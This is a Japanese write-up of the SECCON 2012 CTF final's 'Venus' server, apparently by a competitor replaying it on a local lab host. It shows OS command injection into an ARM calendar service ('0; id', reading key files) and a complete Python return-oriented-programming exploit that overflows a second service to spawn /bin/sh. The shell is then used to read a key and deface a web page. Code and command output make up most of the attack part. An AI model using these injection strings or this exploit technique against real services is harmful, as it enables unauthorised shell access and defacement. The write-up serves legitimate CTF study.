第1回SECCON CTF全国大会 write-up Venusサーバー

本番では、10.0.2.4で動いてたけど、手元では192.168.66.128で動かしている。

http://10.0.2.4/ に繋ぐと、

Calendar server program running on this server.

と表示される。ポートスキャンを掛けると、10081ポートでプログラムが動いている。

>file cals
cals: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for G
NU/Linux 2.6.18, BuildID[sha1]=0x9fcd06a23de369800f3abd0ab61898313c8d7267, not s
tripped

calsはARMのプログラム。逆コンパイルするとこんな感じ。

void command_exec( char *cmd )
{
    system( cmd );
}

void cal_exec( char *year )
{
    char cmd[32];
    snprintf( cmd, 32, "cal %s", year )
    command_exec( cmd );
}

int readchar( int fd )
{
    char c;
    if ( read( fd, &c, 1 )==0 )
        return -1;
    if ( c=='\r' )
        return -1;
    if ( c=='\n' )
        return -1;
    return c;
}

void readstr( int fd, char *buf )
{
    int p=0;
    for ( int p=0; (c=readchar( fd ))!=1; p++ )
        buf[p] = c;
    buf[p] = '\0';
}

void calendar()
{
    char year[];
    write( stdout, "Input year: ", 12 );
    readstr( stdin, year );
    if ( isdigit(year[0]) )
        cal_exec( year );
    else
        write( stdout, "wrong parameter.\n", 17 );
}

int main( int argc, char **argv )
{
    if ( argc==1 )
        calendar();
    else
    {
        create_socket(strtol(argv[1]));
        server_main();
    }
    exit(0);
}

inetdで動いているので、引数ありのほうは省略。OSコマンドインジェクションが可能。

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; id
cal: year 0 not in range 1..9999
uid=2000(ut) gid=2000(bgm) groups=2000(bgm)

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; ls -al /home/ut/
cal: year 0 not in range 1..9999
total 24
drwxr-xr-x 2 root root 4096 Feb 17 07:05 .
drwxr-xr-x 6 root root 4096 Feb 17 07:47 ..
-rw-r--r-- 1 ut   bgm   220 Apr 10  2010 .bash_logout
-rw-r--r-- 1 ut   bgm  3184 Apr 10  2010 .bashrc
-rw-r--r-- 1 ut   bgm   675 Apr 10  2010 .profile
-r--r----- 1 root bgm    21 Feb 17 07:05 key.txt

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; cat /home/ut/key.txt
cal: year 0 not in range 1..9999
ChouChikyutekiSonzai

キーワード1個目

ChouChikyutekiSonzai

この脆弱性を使って、あちこち覗いてみると、ポート10082で動いているnamesの権限があれば、もう1個のキーワードとフラグの書き換えができることがわかる。

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; cat /etc/inetd.conf
cal: year 0 not in range 1..9999
  (略)
kamanda   stream tcp nowait ut  /home/bin/cals  cals
amandaidx stream tcp nowait set /home/bin/names names
  (略)

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; ls -al /home/bin/
cal: year 0 not in range 1..9999
total 1128
drwxr-xr-x 2 root root   4096 Feb 17 07:47 .
drwxr-xr-x 6 root root   4096 Feb 17 07:47 ..
-rwxr-xr-x 1 root root 568366 Feb 17 07:47 cals
-rwxr-xr-x 1 root root 565712 Feb 17 07:47 names

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; ls -al /home/set/
cal: year 0 not in range 1..9999
total 24
drwxr-xr-x 2 root root    4096 Feb 17 07:05 .
drwxr-xr-x 6 root root    4096 Feb 17 07:47 ..
-rw-r--r-- 1 set  service  220 Apr 10  2010 .bash_logout
-rw-r--r-- 1 set  service 3184 Apr 10  2010 .bashrc
-rw-r--r-- 1 set  service  675 Apr 10  2010 .profile
-r--r----- 1 root service   31 Feb 17 07:05 key.txt

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; groups set
cal: year 0 not in range 1..9999
set : service

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; ls -al /var/www/set/
cal: year 0 not in range 1..9999
total 12
drwxr-xr-x 2 root root    4096 Feb 17 07:08 .
drwxr-xr-x 3 root root    4096 Feb 17 07:07 ..
-rw-r--r-- 1 set  service   64 Mar 16 11:35 index.html

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081
Input year: 0; cat /proc/sys/kernel/ra*
cal: year 0 not in range 1..9999
cat: /proc/sys/kernel/random: Invalid argument
2

randomize_va_spaceが2なので、ASLRが有効。ただしnames自体はアドレス固定。

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 > names
0; cat /home/bin/names

のようにして、先頭を取り除けば、namesが手に入る。nameはこんな感じのプログラム。

void writestr( int fd, char *str )
{
    write( fd, str, strlen(str) );
}

char **namelist = {
    "Hosono",   "Haruomi",
    "Takahashi","Yukihiro",
    "Sakamoto", "Ryuichi",
    "U.T.",     "Y.T.",
    "Pure",     "Jam",
    "Tong",     "Poo",
    "Nice",     "Age",
    "Key",      "\"BSideOfTaiso\"",
    NULL,       NULL };

void name_print( char *name )
{
    char *p = NULL;
    
    for ( int i=0; namelist[i]; i+=2 )
    {
        if ( strcmp( name, namelist[i] ) == 0 )
            p = namelist[i+1];
        if ( strcmp( name, namelist[i+1] ) == 0 )
            p = namelist[i];
    }
    
    if ( p )
    {
        writestr( stdout, p );
        writestr( stdout, "\n" );
        return 0;
    }
    else
    {
        return -1;
    }
}

int readchar( int fd )
{
    char c;
    if ( read( fd, &c, 1 )==0 )
        return -1;
    if ( c=='\r' )
        return -1;
    if ( c=='\n' )
        return -1;
    return c;
}

void readstr( int fd, char *buf )
{
    int p=0;
    for ( int p=0; (c=readchar( fd ))!=1; p++ )
        buf[p] = c;
    buf[p] = '\0';
}

void name_main()
{
    writestr( stdout, "Input name: " );
    char name[16];
    readstr( stdin, name );
    if ( name_print( name ) < 0 )
    {
        writestr( stdout, "Unknown name.\n" )
        exit( 1 );
    }
    return 0;
}

int main( int argc, char **argv )
{
    if ( argc==1 )
        name_main();
    else
    {
        create_socket(strtol(argv[1]));
        server_main();
    }
    exit(0);
}

Keyと入力すると2個目のキーワードが手に入る。

C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10082
Input name: Key
"BSideOfTaiso"

Return-oriented programmingで攻撃する。
参考: http://07c00.com/hj/11_HJ1205_p160_163.pdf

ARMの場合、r0="/bin/sh", r1=r2=0, r7=11の状態で、svcを呼び出せば良い。

    840c:  e8bd4010    pop {r4, lr}
    8410:  e12fff1e    bx  lr

   18484:  e8bd4011    pop {r0, r4, lr}
   18488:  e12fff1e    bx  lr

   4f170:  e1a0c000    mov ip, r0
   4f174:  e8bd401f    pop {r0, r1, r2, r3, r4, lr}
   4f178:  e12fff1c    bx  ip

    a398:  e1a00007    mov r0, r7
    a39c:  e28dd008    add sp, sp, #8
    a3a0:  e8bd41f0    pop {r4, r5, r6, r7, r8, lr}
    a3a4:  e12fff1e    bx  lr

    8974:  ef000000    svc 0x00000000

これらのコードが使える。Exploit

import socket
import threading
import sys
import struct

target = ("192.168.66.128",10082)

payload = (
    "Key\x00aaaaaaaaaaaa"+

# jump to 0x00018484
#    840c:  e8bd4010    pop {r4, lr}
#    8410:  e12fff1e    bx  lr
    struct.pack("<LL",0,0x00018484)+

# r0 = 0x0000a398
# jump to 0x0004f170
#   18484:  e8bd4011    pop {r0, r4, lr}
#   18488:  e12fff1e    bx  lr
    struct.pack("<LLL",0x0000a398,0,0x0004f170)+

# r1 = 0
# r2 = 0
# jump to r0
#   4f170:  e1a0c000    mov ip, r0
#   4f174:  e8bd401f    pop {r0, r1, r2, r3, r4, lr}
#   4f178:  e12fff1c    bx  ip
    struct.pack("<LLLLLL",0,0,0,0,0,0)+

# r0 = r7
# r7 = 11
# jump to 0x00008974
#    a398:  e1a00007    mov r0, r7
#    a39c:  e28dd008    add sp, sp, #8
#    a3a0:  e8bd41f0    pop {r4, r5, r6, r7, r8, lr}
#    a3a4:  e12fff1e    bx  lr
    struct.pack("<LLLLLLLL",0,0,0,0,0,11,0,0x00008974)

#    8974:  ef000000    svc 0x00000000
)

payload += "a"*(0x14d-len(payload))
payload += "/bin/sh\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(target)
print s.recv(128)
s.send(payload)
print s.recv(128)

class T(threading.Thread):
    def run(self):
        while True:
            sys.stdout.write(s.recv(1))
            sys.stdout.flush()
T().start()

while True:
    s.send(raw_input()+"\n")
C:\documents\ctf\SECCON\2012final\Venus>python attack.py
Input name:
"BSideOfTaiso"

id
uid=2001(set) gid=2001(service) groups=2001(service)
cat /home/set/key.txt
SoreShirankattottenchintonshan
echo "<h1>hacked :)</h1>" >> /var/www/set/index.html